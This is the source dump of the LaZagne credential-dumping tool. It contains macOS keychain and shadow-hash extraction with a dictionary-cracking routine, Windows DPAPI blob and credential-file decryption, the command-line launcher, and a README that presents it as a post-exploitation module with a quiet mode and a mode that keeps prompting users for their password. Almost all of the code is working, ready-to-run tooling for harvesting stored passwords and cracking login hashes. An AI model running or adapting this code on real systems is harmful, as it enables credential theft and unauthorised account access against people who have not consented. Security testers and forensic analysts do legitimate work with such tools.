Key Table: 0x%.8x' % ( sizeof(_APPL_DB_HEADER) + TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]])) TableMetadata, symmetrickey_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]]) for symmetrickey_record in symmetrickey_list: keyblob, ciphertext, iv, return_value = keychain.getKeyblobRecord( TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]], symmetrickey_record) if return_value == 0: passwd = keychain.KeyblobDecryption(ciphertext, iv, dbkey) if passwd != '': key_list[keyblob] = passwd pwdFound = [] legend = ['', 'Create DateTime', 'Last Modified DateTime', 'Description', 'Creator', 'Type', 'PrintName', 'Alias', 'Account', 'Service'] try: TableMetadata, genericpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]]) for genericpw in genericpw_list: record = keychain.getGenericPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]], genericpw) # print '[+] Generic Password Record' try: real_key = key_list[record[0][0:20]] passwd = keychain.SSGPDecryption(record[0], real_key) except KeyError: passwd = '' if passwd: values = {} for cpt in range(1, len(record)): if record[cpt]: values[legend[cpt]] = unicode(record[cpt]) try: values['Password'] = unicode(passwd) except: values['Password'] = unicode(repr(passwd)) pwdFound.append(values) except KeyError: print_debug('INFO', 'Generic Password Table is not available') pass legend = ['', 'Create DateTime', 'Last Modified DateTime', 'Description', 'Comment', 'Creator', 'Type', 'PrintName', 'Alias', 'Protected', 'Account', 'SecurityDomain', 'Server', 'Protocol Type', 'Auth Type', 'Port', 'Path'] try: TableMetadata, internetpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]]) for internetpw in internetpw_list: record = keychain.getInternetPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]], internetpw) try: real_key = key_list[record[0][0:20]] passwd = keychain.SSGPDecryption(record[0], real_key) except KeyError: passwd = '' if passwd: values = {} for cpt in range(1, len(record)): if record[cpt]: values[legend[cpt]] = record[cpt] try: values['Password'] = unicode(passwd) except Exception: values['Password'] = unicode(repr(passwd)) pwdFound.append(values) except KeyError: print_debug('INFO', 'Internet Password Table is not available') pass return pwdFound ================================================ FILE: Mac/lazagne/softwares/system/chainbreaker_module/pbkdf2.py ================================================ #!/usr/bin/python # A simple implementation of pbkdf2 using stock python modules. See RFC2898 # for details. Basically, it derives a key from a password and salt. # (c) 2004 Matt Johnston # This code may be freely used and modified for any purpose. import hmac from hashlib import sha1 from struct import pack BLOCKLEN = 20 # this is what you want to call. def pbkdf2(password, salt, itercount, keylen, hashfn=sha1): # l - number of output blocks to produce l = keylen / BLOCKLEN if keylen % BLOCKLEN != 0: l += 1 h = hmac.new(password, None, hashfn) T = "" for i in range(1, l + 1): T += pbkdf2_F(h, salt, itercount, i) return T[: -(BLOCKLEN - keylen % BLOCKLEN)] def xorstr(a, b): if len(a) != len(b): raise "xorstr(): lengths differ" ret = '' for i in range(len(a)): ret += chr(ord(a[i]) ^ ord(b[i])) return ret def prf(h, data): hm = h.copy() hm.update(data) return hm.digest() # Helper as per the spec. h is a hmac which has been created seeded with the # password, it will be copy()ed and not modified. def pbkdf2_F(h, salt, itercount, blocknum): U = prf(h, salt + pack('>i', blocknum)) T = U for i in range(2, itercount + 1): U = prf(h, U) T = xorstr(T, U) return T ================================================ FILE: Mac/lazagne/softwares/system/hashdump.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python # Inspired from : # https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in # https://www.onlinehashcrack.com/how-to-extract-hashes-crack-mac-osx-passwords.php # TO DO: retrieve hash on mac os Lion without need root access: # https://hackademics.fr/forum/hacking-connaissances-avancées/unhash/1098-mac-os-x-python-os-x-lion-password-cracker import subprocess import traceback import binascii import platform import hashlib import base64 import os from xml.etree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config.dico import get_dic from lazagne.config.constant import constant class HashDump(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'hashdump', 'system') self.username = None self.iterations = None self.salt_hex = None self.entropy_hex = None def root_access(self): if os.getuid() != 0: self.warning('You need more privileges (run it with sudo)') return False return True def check_version(self): major, minor = 0, 0 try: v, _, _ = platform.mac_ver() v = '.'.join(v.split('.')[:2]) major = v.split('.')[0] minor = v.split('.')[1] except Exception: self.debug(traceback.format_exc()) return int(major), int(minor) def run_cmd(self, cmd): p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) result, _ = p.communicate() if result: return result else: return '' def list_users(self): users_dir = '/Users' users_list = [] if os.path.exists(users_dir): for user in os.listdir(users_dir): if user != 'Shared' and not user.startswith('.'): users_list.append(user) return users_list # works for all version (< 10.8) def get_hash_using_guid(self, guid): cmd = 'cat /var/db/shadow/hash/%s' % guid hash = self.run_cmd(cmd) if hash: self.info('Full hash found : %s ' % hash) # Salted sha1: hash[104:152] # Zero salted sha1: hash[168:216] # NTLM: hash[64:] return hash[168:216] else: return False # this technique works only for OS X 10.3 and 10.4 def get_user_hash_using_niutil(self, username): # get guid cmd = 'niutil -readprop . /users/{username} generateduid'.format(username=username) guid = self.run_cmd(cmd) if guid: guid = guid.strip() self.info('GUID found : {guid}'.format(guid=guid)) # get hash hash_ = self.get_hash_using_guid(guid) if hash_: return username, hash_ return False # this technique works only for OS X 10.5 and 10.6 def get_user_hash_using_dscl(self, username): # get guid cmd = 'dscl localhost -read /Search/Users/{username} | grep GeneratedUID | cut -c15-'.format(username=username) guid = self.run_cmd(cmd) if guid: guid = guid.strip() self.info('GUID found : {guid}'.format(guid=guid)) # get hash hash_ = self.get_hash_using_guid(guid) if hash_: return username, hash_ return False # this technic works only for OS X >= 10.8 def get_user_hash_from_plist(self, username): try: cmd = 'sudo defaults read /var/db/dslocal/nodes/Default/users/{username}.plist ' \ 'ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null'.format( username=username ) raw = self.run_cmd(cmd) if len(raw) > 100: root = ElementTree.fromstring(raw) children = root[0][1].getchildren() entropy64 = ''.join(children[1].text.split()) iterations = children[3].text salt64 = ''.join(children[5].text.split()) entropy_raw = base64.b64decode(entropy64) entropy_hex = entropy_raw.encode("hex") salt_raw = base64.b64decode(salt64) salt_hex = salt_raw.encode("hex") self.username = username self.iterations = int(iterations) self.salt_hex = salt_hex self.entropy_hex = entropy_hex return '{username}:$ml${iterations}${salt}${entropy}'.format( username=username, iterations=iterations, salt=salt_hex, entropy=entropy_hex ) except Exception: self.debug(traceback.format_exc()) # ------------------------------- Dictionary attack ------------------------------- def dictionary_attack(self, username, dic, pbkdf2=True): found = False try: if pbkdf2: self.info('Dictionary attack started !') for word in dic: self.info('Trying word: %s' % word) if str(self.entropy_hex) == str( self.dictionary_attack_pbkdf2(str(word), binascii.unhexlify(self.salt_hex), self.iterations)): constant.system_pwd.append( { 'Account': username, 'Password': word } ) self.info('Password found: {word}'.format(word=word)) found = True break except (KeyboardInterrupt, SystemExit): self.debug('Dictionary attack interrupted') return found # On OS X >= 10.8 # System passwords are stored using pbkdf2 algorithm def dictionary_attack_pbkdf2(self, password, salt, iterations): hex = hashlib.pbkdf2_hmac('sha512', password, salt, iterations, 128) password_hash = binascii.hexlify(hex) return password_hash # ------------------------------- End of Dictionary attack ------------------------------- def run(self): user_hashes = [] if self.root_access(): major, minor = self.check_version() if major == 10 and (minor == 3 or minor == 4): for user in self.list_users(): self.info('User found: {user}'.format(user=user)) user_hash = self.get_user_hash_using_niutil(user) if user_hash: user_hashes.append(user_hash) if major == 10 and (minor == 5 or minor == 6): for user in self.list_users(): self.info('User found: {user}'.format(user=user)) user_hash = self.get_user_hash_using_dscl(user) if user_hash: user_hashes.append(user_hash) # TO DO: manage version 10.7 elif major == 10 and minor >= 8: user_names = [plist.split(".")[0] for plist in os.listdir(u'/var/db/dslocal/nodes/Default/users/') if not plist.startswith(u'_')] for username in user_names: user_hash = self.get_user_hash_from_plist(username) if user_hash: user_hashes.append(user_hash) # try to get the password in clear text passwords = constant.passwordFound # check if previous passwords are used as system password passwords.insert(0, username) # check for weak password (login equal password) if constant.user_password: passwords.insert(0, constant.user_password) found = self.dictionary_attack(username, passwords) # realize a dictionary attack using the 500 most famous passwords if constant.dictionary_attack and not found: dic = get_dic() dic.insert(0, self.username) self.dictionary_attack(username, dic) return ['__SYSTEM__', user_hashes] ================================================ FILE: Mac/lazagne/softwares/system/system.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant class System(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'system', 'system') def run(self): pwd_found = [] pwd_found += constant.keychains_pwd pwd_found += constant.system_pwd return pwd_found ================================================ FILE: Mac/lazagne.spec ================================================ # -*- mode: python ; coding: utf-8 -*- import sys sys.path.append(".") from lazagne.config.manage_modules import get_modules_names from lazagne.softwares.browsers.firefox_browsers import mozilla_based_module_location all_hidden_imports_module_names = get_modules_names() all_hidden_imports_module_names.append(mozilla_based_module_location) hiddenimports = [package_name for package_name, module_name in all_hidden_imports_module_names] block_cipher = None a = Analysis(['laZagne.py'], pathex=[''], binaries=[], datas=[], hiddenimports=hiddenimports, hookspath=['.'], runtime_hooks=[], excludes=[], win_no_prefer_redirects=False, win_private_assemblies=False, cipher=block_cipher, noarchive=False) pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) exe = EXE(pyz, a.scripts, a.binaries, a.zipfiles, a.datas, [], name='laZagne', debug=False, bootloader_ignore_signals=False, strip=False, upx=True, upx_exclude=[], runtime_tmpdir=None, console=True ) ================================================ FILE: README.md ================================================ __The LaZagne Project !!!__ == Description ---- The __LaZagne project__ is an open source application used to __retrieve lots of passwords__ stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software.

The LaZagne project

This project has been added to [pupy](https://github.com/n1nj4sec/pupy/) as a post-exploitation module. Python code will be interpreted in memory without touching the disk and it works on Windows and Linux host. Standalones ---- Standalones are now available here: https://github.com/AlessandroZ/LaZagne/releases/ Installation ---- ``` pip install -r requirements.txt ``` Usage ---- * Launch all modules ``` laZagne.exe all ``` * Launch only a specific module ``` laZagne.exe browsers ``` * Launch only a specific software script ``` laZagne.exe browsers -firefox ``` * Write all passwords found into a file (-oN for Normal txt, -oJ for Json, -oA for All). Note: If you have problems to parse JSON results written as a multi-line strings, check [this](https://github.com/AlessandroZ/LaZagne/issues/226). ``` laZagne.exe all -oN laZagne.exe all -oA -output C:\Users\test\Desktop ``` * Get help ``` laZagne.exe -h laZagne.exe browsers -h ``` * Change verbosity mode (2 different levels) ``` laZagne.exe all -vv ``` * Quiet mode (nothing will be printed on the standard output) ``` laZagne.exe all -quiet -oA ``` * To decrypt domain credentials, it could be done specifying the user windows password. Otherwise it will try all passwords already found as windows passwords. ``` laZagne.exe all -password ZapataVive ``` __Note: For wifi passwords \ Windows Secrets, launch it with administrator privileges (UAC Authentication / sudo)__ Mac OS ---- __Note: In Mac OS System, without the user password it is very difficult to retrieve passwords stored on the computer.__ So, I recommend using one of these options * If you know the user password, add it in the command line ``` laZagne all --password SuperSecurePassword ``` * You could use the interactive mode that will prompt a dialog box to the user until the password will be correct ``` laZagne all -i ``` Supported software ---- | | Windows | Linux | Mac | | -- | -- | -- | -- | | Browsers | 7Star
Amigo
Basilisk
BlackHawk
Brave
Centbrowser
Chedot
Chrome Beta
Chrome Canary
Chromium
Coccoc
Comodo Dragon
Comodo IceDragon
Cyberfox
DCBrowser
Elements Browser
Epic Privacy Browser
Firefox
Google Chrome
Icecat
K-Meleon
Kometa
Microsoft Edge
Opera
Opera GX
Orbitum
QQBrowser
pale Moon
SogouExplorer
Sputnik
Torch
Uran
Vivaldi
Yandex
| Brave
Chromium
Dissenter-Browser
Firefox
Google Chrome
IceCat
Microsoft Edge
Opera
SlimJet
Vivaldi | Chrome
Firefox | | Chats | Pidgin
Psi
Skype| Pidgin
Psi | | | Databases | DBVisualizer
Postgresql
Robomongo
Squirrel
SQLdevelopper | DBVisualizer
Squirrel
SQLdevelopper | | | Games | GalconFusion
Kalypsomedia
RogueTale
Turba | | | | Git | Git for Windows | | | | Mails | Epyrus
Interlink
Outlook
Thunderbird | Clawsmail
Thunderbird | | | Maven | Maven Apache
| | | | Dumps from memory | Keepass
Mimikatz method | System Password | | | Multimedia | EyeCON
| | | | PHP | Composer
| | | | SVN | Tortoise | | | | Sysadmin | Apache Directory Studio
CoreFTP
CyberDuck
FileZilla
FileZilla Server
FTPNavigator
OpenSSH
OpenVPN
mRemoteNG
KeePass Configuration Files (KeePass1, KeePass2)
PuttyCM
Rclone
RDPManager
VNC
WinSCP
Windows Subsystem for Linux | Apache Directory Studio
AWS
Docker
Environnement variable
FileZilla
gFTP
History files
Shares
SSH private keys
KeePass Configuration Files (KeePassX, KeePass2)
Grub
Rclone | | | Wifi | Wireless Network | Network Manager
WPA Supplicant | | | Internal mechanism passwords storage | Autologon
MSCache
Credential Files
Credman
DPAPI Hash
Hashdump (LM/NT)
LSA secret
Vault Files | GNOME Keyring
Kwallet
Hashdump | Keychains
Hashdump | Compile ---- * Using Pyinstaller ``` pyinstaller --additional-hooks-dir=. -F --onefile laZagne.py ``` * Using Nuitka ``` python3 -m nuitka --standalone --onefile --include-package=lazagne laZagne.py ``` For developers ---- Please refer to the wiki before opening an issue to understand how to compile the project or to develop a new module. https://github.com/AlessandroZ/LaZagne/wiki Donation ---- If you want to support my work doing a donation, I will appreciate a lot: * Via BTC: 16zJ9wTXU4f1qfMLiWvdY3woUHtEBxyriu * Via Paypal: https://www.paypal.me/lazagneproject Special thanks ---- * Harmjoy for [KeeThief](https://github.com/HarmJ0y/KeeThief/) * n1nj4sec for his [mimipy](https://github.com/n1nj4sec/mimipy) module * Benjamin DELPY for [mimikatz](https://github.com/gentilkiwi/mimikatz), which helps me to understand some Windows API. * @skelsec for [Pypykatz](https://github.com/skelsec/pypykatz) * Moyix for [Creddump](https://github.com/moyix/creddump) * N0fat for [Chainbreaker](https://github.com/n0fate/chainbreaker/) * Richard Moore for the [AES module](https://github.com/ricmoo/pyaes) * Todd Whiteman for the [DES module](https://github.com/toddw-as/pyDes) * mitya57 for [secretstorage](https://github.com/mitya57/secretstorage) * All [contributors](https://github.com/AlessandroZ/LaZagne/graphs/contributors) who help me on this project ================================================ FILE: Windows/hook-sys.py ================================================ from lazagne.config.manage_modules import get_modules_names from lazagne.softwares.browsers.chromium_browsers import chromium_based_module_location from lazagne.softwares.browsers.firefox_browsers import mozilla_module_location all_hidden_imports_module_names = get_modules_names() + [mozilla_module_location, chromium_based_module_location] hiddenimports = [package_name for package_name, module_name in all_hidden_imports_module_names] if __name__ == "__main__": print("\r\n".join(hiddenimports)) ================================================ FILE: Windows/laZagne.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python ############################################################################## # # # By Alessandro ZANNI # # # ############################################################################## # Disclaimer: Do Not Use this program for illegal purposes ;) import argparse import logging import sys import time import os from lazagne.config.write_output import write_in_file, StandardOutput from lazagne.config.manage_modules import get_categories from lazagne.config.constant import constant from lazagne.config.run import run_lazagne, create_module_dic constant.st = StandardOutput() # Object used to manage the output / write functions (cf write_output file) modules = create_module_dic() def output(output_dir=None, txt_format=False, json_format=False, all_format=False): if output_dir: if os.path.isdir(output_dir): constant.folder_name = output_dir else: print('[!] Specify a directory, not a file !') if txt_format: constant.output = 'txt' if json_format: constant.output = 'json' if all_format: constant.output = 'all' if constant.output: if not os.path.exists(constant.folder_name): os.makedirs(constant.folder_name) # constant.file_name_results = 'credentials' # let the choice of the name to the user if constant.output != 'json': constant.st.write_header() def quiet_mode(is_quiet_mode=False): if is_quiet_mode: constant.quiet_mode = True def verbosity(verbose=0): # Write on the console + debug file if verbose == 0: level = logging.CRITICAL elif verbose == 1: level = logging.INFO elif verbose >= 2: level = logging.DEBUG formatter = logging.Formatter(fmt='%(message)s') stream = logging.StreamHandler(sys.stdout) stream.setFormatter(formatter) root = logging.getLogger() root.setLevel(level) # If other logging are set for r in root.handlers: r.setLevel(logging.CRITICAL) root.addHandler(stream) def manage_advanced_options(user_password=None): if user_password: constant.user_password = user_password def runLaZagne(category_selected='all', subcategories={}, password=None): """ This function will be removed, still there for compatibility with other tools Everything is on the config/run.py file """ for pwd_dic in run_lazagne(category_selected=category_selected, subcategories=subcategories, password=password): yield pwd_dic def clean_args(arg): """ Remove not necessary values to get only subcategories """ for i in ['output', 'write_normal', 'write_json', 'write_all', 'verbose', 'auditType', 'quiet']: try: del arg[i] except Exception: pass return arg if __name__ == '__main__': parser = argparse.ArgumentParser(description=constant.st.banner, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version') # ------------------------------------------- Permanent options ------------------------------------------- # Version and verbosity PPoptional = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.max_help) ) PPoptional._optionals.title = 'optional arguments' PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level') PPoptional.add_argument('-quiet', dest='quiet', action='store_true', default=False, help='quiet mode: nothing is printed to the output') # Output PWrite = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.max_help) ) PWrite._optionals.title = 'Output' PWrite.add_argument('-oN', dest='write_normal', action='store_true', default=None, help='output file in a readable format') PWrite.add_argument('-oJ', dest='write_json', action='store_true', default=None, help='output file in a json format') PWrite.add_argument('-oA', dest='write_all', action='store_true', default=None, help='output file in both format') PWrite.add_argument('-output', dest='output', action='store', default='.', help='destination path to store results (default:.)') # Windows user password PPwd = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter( prog, max_help_position=constant.max_help) ) PPwd._optionals.title = 'Windows User Password' PPwd.add_argument('-password', dest='password', action='store', help='Windows user password (used to decrypt creds files)') # -------------------------- Add options and suboptions to all modules -------------------------- all_subparser = [] all_categories = get_categories() for c in all_categories: all_categories[c]['parser'] = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.max_help) ) all_categories[c]['parser']._optionals.title = all_categories[c]['help'] # Manage options all_categories[c]['subparser'] = [] for module in modules[c]: m = modules[c][module] all_categories[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help']) # Manage all suboptions by modules if m.suboptions and m.name != 'thunderbird': tmp = [] for sub in m.suboptions: tmp_subparser = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter( prog, max_help_position=constant.max_help) ) tmp_subparser._optionals.title = sub['title'] if 'type' in sub: tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help']) else: tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help']) tmp.append(tmp_subparser) all_subparser.append(tmp_subparser) all_categories[c]['subparser'] += tmp # ------------------------------------------- Print all ------------------------------------------- parents = [PPoptional] + all_subparser + [PPwd, PWrite] dic = {'all': {'parents': parents, 'help': 'Run all modules'}} for c in all_categories: parser_tab = [PPoptional, all_categories[c]['parser']] if 'subparser' in all_categories[c]: if all_categories[c]['subparser']: parser_tab += all_categories[c]['subparser'] parser_tab += [PPwd, PWrite] dic_tmp = {c: {'parents': parser_tab, 'help': 'Run %s module' % c}} # Concatenate 2 dic dic = dict(dic, **dic_tmp) # Main commands subparsers = parser.add_subparsers(help='Choose a main command') for d in dic: subparsers.add_parser(d, parents=dic[d]['parents'], help=dic[d]['help']).set_defaults(auditType=d) # ------------------------------------------- Parse arguments ------------------------------------------- # By default, launch all modules if len(sys.argv) == 1: args = { 'verbose': 0, 'quiet': False, 'password': None, 'write_normal': None, 'write_json': None, 'write_all': None, 'output': '.', 'auditType': 'all' } else: args = dict(parser.parse_args()._get_kwargs()) # arguments = parser.parse_args() # Define constant variables output( output_dir=args['output'], txt_format=args['write_normal'], json_format=args['write_json'], all_format=args['write_all'] ) verbosity(verbose=args['verbose']) manage_advanced_options(user_password=args.get('password', None)) quiet_mode(is_quiet_mode=args['quiet']) # Print the title constant.st.first_title() start_time = time.time() category = args['auditType'] subcategories = clean_args(args) for r in runLaZagne(category_selected=category, subcategories=subcategories, password=args.get('password', None)): pass write_in_file(constant.stdout_result) constant.st.print_footer(elapsed_time=str(time.time() - start_time)) ================================================ FILE: Windows/lazagne/__init__.py ================================================ ================================================ FILE: Windows/lazagne/config/DPAPI/__init__.py ================================================ ================================================ FILE: Windows/lazagne/config/DPAPI/blob.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ Code based from these two awesome projects: - DPAPICK : https://bitbucket.org/jmichel/dpapick - DPAPILAB : https://github.com/dfirfpi/dpapilab """ import codecs import traceback from .eater import DataStruct from . import crypto from lazagne.config.write_output import print_debug from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC from lazagne.config.crypto.pyDes import CBC from lazagne.config.winstructure import char_to_int AES_BLOCK_SIZE = 16 class DPAPIBlob(DataStruct): """Represents a DPAPI blob""" def __init__(self, raw=None): """ Constructs a DPAPIBlob. If raw is set, automatically calls parse(). """ self.version = None self.provider = None self.mkguid = None self.mkversion = None self.flags = None self.description = None self.cipherAlgo = None self.keyLen = 0 self.hmac = None self.strong = None self.hashAlgo = None self.hashLen = 0 self.cipherText = None self.salt = None self.blob = None self.sign = None self.cleartext = None self.decrypted = False self.signComputed = None DataStruct.__init__(self, raw) def parse(self, data): """Parses the given data. May raise exceptions if incorrect data are given. You should not call this function yourself; DataStruct does data is a DataStruct object. Returns nothing. """ self.version = data.eat("L") self.provider = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") # For HMAC computation blobStart = data.ofs self.mkversion = data.eat("L") self.mkguid = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") self.flags = data.eat("L") self.description = data.eat_length_and_string("L").replace(b"\x00", b"") self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) self.keyLen = data.eat("L") self.salt = data.eat_length_and_string("L") self.strong = data.eat_length_and_string("L") self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) self.hashLen = data.eat("L") self.hmac = data.eat_length_and_string("L") self.cipherText = data.eat_length_and_string("L") # For HMAC computation self.blob = data.raw[blobStart:data.ofs] self.sign = data.eat_length_and_string("L") def decrypt(self, masterkey, entropy=None, strongPassword=None): """Try to decrypt the blob. Returns True/False :rtype : bool :param masterkey: decrypted masterkey value :param entropy: optional entropy for decrypting the blob :param strongPassword: optional password for decrypting the blob """ for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]: try: sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword) key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo) if "AES" in self.cipherAlgo.name: cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)], iv=b"\x00" * int(self.cipherAlgo.ivLength)) self.cleartext = b"".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in range(0, len(self.cipherText), AES_BLOCK_SIZE)]) else: cipher = self.cipherAlgo.module(key, CBC, b"\x00" * self.cipherAlgo.ivLength) self.cleartext = cipher.decrypt(self.cipherText) padding = char_to_int(self.cleartext[-1]) if padding <= self.cipherAlgo.blockSize: self.cleartext = self.cleartext[:-padding] # check against provided HMAC self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob) self.decrypted = self.signComputed == self.sign if self.decrypted: return True except Exception: print_debug('DEBUG', traceback.format_exc()) self.decrypted = False return self.decrypted def decrypt_encrypted_blob(self, mkp, entropy_hex=False): """ This function should be called to decrypt a dpapi blob. It will find the associcated masterkey used to decrypt the blob. :param mkp: masterkey pool object (MasterKeyPool) """ mks = mkp.get_master_keys(self.mkguid) if not mks: return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid) entropy = None if entropy_hex: entropy = codecs.decode(entropy_hex, 'hex') for mk in mks: if mk.decrypted: self.decrypt(mk.get_key(), entropy=entropy) if self.decrypted: return True, self.cleartext return False, 'Unable to decrypt master key' ================================================ FILE: Windows/lazagne/config/DPAPI/credfile.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ Code based from these two awesome projects: - DPAPICK : https://bitbucket.org/jmichel/dpapick - DPAPILAB : https://github.com/dfirfpi/dpapilab """ from .blob import DPAPIBlob from .eater import DataStruct class CredentialDecryptedHeader(DataStruct): """ Header of the structure returned once the blob has been decrypted Header of the CredentialDecrypted class """ def __init__(self, raw=None): self.total_size = None self.unknown1 = None self.unknown2 = None self.unknown3 = None self.last_update = None self.unknown4 = None self.unk_type = None self.unk_blocks = None self.unknown5 = None self.unknown6 = None DataStruct.__init__(self, raw) def parse(self, data): self.total_size = data.eat("L") self.unknown1 = data.eat("L") self.unknown2 = data.eat("L") self.unknown3 = data.eat("L") self.last_update = data.eat("Q") self.unknown4 = data.eat("L") self.unk_type = data.eat("L") self.unk_blocks = data.eat("L") self.unknown5 = data.eat("L") self.unknown6 = data.eat("L") class CredentialDecrypted(DataStruct): """ Structure returned once the blob has been decrypted """ def __init__(self, raw=None): self.header_size = None self.header = None self.domain = None self.unk_string1 = None self.unk_string2 = None self.unk_string3 = None self.username = None self.password = None DataStruct.__init__(self, raw) def parse(self, data): self.header_size = data.eat("L") if self.header_size > 0: self.header = CredentialDecryptedHeader() self.header.parse(data.eat_sub(self.header_size - 4)) self.domain = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode self.unk_string1 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode self.unk_string2 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode self.unk_string3 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode self.username = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode self.password = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode class CredFile(DataStruct): """ Decrypt Credentials Files stored on ...\\Microsoft\\Credentials\\... """ def __init__(self, raw=None): self.unknown1 = None self.blob_size = None self.unknown2 = None self.blob = None DataStruct.__init__(self, raw) def parse(self, data): self.unknown1 = data.eat("L") self.blob_size = data.eat("L") self.unknown2 = data.eat("L") if self.blob_size > 0: self.blob = DPAPIBlob() self.blob.parse(data.eat_sub(self.blob_size)) def decrypt(self, mkp, credfile): ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp) if ok: cred_dec = CredentialDecrypted(msg) if cred_dec.header.unk_type in [2, 3]: return True, { 'File': credfile, 'Domain': cred_dec.domain, 'Username': cred_dec.username, 'Password': cred_dec.password, } elif cred_dec.header.unk_type == 2: return False, 'System credential type' else: return False, 'Unknown CREDENTIAL type, please report.\nCreds: {creds}'.format(creds=cred_dec) else: return ok, msg ================================================ FILE: Windows/lazagne/config/DPAPI/credhist.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ Code based from these two awesome projects: - DPAPICK : https://bitbucket.org/jmichel/dpapick - DPAPILAB : https://github.com/dfirfpi/dpapilab """ import struct import hashlib from . import crypto from .eater import DataStruct class RPC_SID(DataStruct): """ Represents a RPC_SID structure. See MSDN for documentation """ def __init__(self, raw=None): self.version = None self.idAuth = None self.subAuth = None DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("B") n = data.eat("B") self.idAuth = struct.unpack(">Q", b"\0\0" + data.eat("6s"))[0] self.subAuth = data.eat("%dL" % n) def __str__(self): s = ["S-%d-%d" % (self.version, self.idAuth)] s += ["%d" % x for x in self.subAuth] return "-".join(s) class CredhistEntry(DataStruct): def __init__(self, raw=None): self.pwdhash = None self.hmac = None self.revision = None self.hashAlgo = None self.rounds = None self.cipherAlgo = None self.shaHashLen = None self.ntHashLen = None self.iv = None self.userSID = None self.encrypted = None self.revision2 = None self.guid = None self.ntlm = None DataStruct.__init__(self, raw) def parse(self, data): self.revision = data.eat("L") self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) self.rounds = data.eat("L") data.eat("L") self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) self.shaHashLen = data.eat("L") self.ntHashLen = data.eat("L") self.iv = data.eat("16s") self.userSID = RPC_SID() self.userSID.parse(data) n = self.shaHashLen + self.ntHashLen n += -n % self.cipherAlgo.blockSize self.encrypted = data.eat_string(n) self.revision2 = data.eat("L") self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") def decrypt_with_hash(self, pwdhash): """ Decrypts this credhist entry with the given user's password hash. Simply computes the encryption key with the given hash then calls self.decrypt_with_key() to finish the decryption. """ self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID))) def decrypt_with_key(self, enckey): """ Decrypts this credhist entry using the given encryption key. """ cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey, self.iv, self.rounds) self.pwdhash = cleartxt[:self.shaHashLen] self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip(b"\x00") if len(self.ntlm) != 16: self.ntlm = None class CredHistFile(DataStruct): def __init__(self, raw=None): self.entries_list = [] self.entries = {} self.valid = False self.footmagic = None self.curr_guid = None DataStruct.__init__(self, raw) def parse(self, data): while True: l = data.pop("L") if l == 0: break self.addEntry(data.pop_string(l - 4)) self.footmagic = data.eat("L") 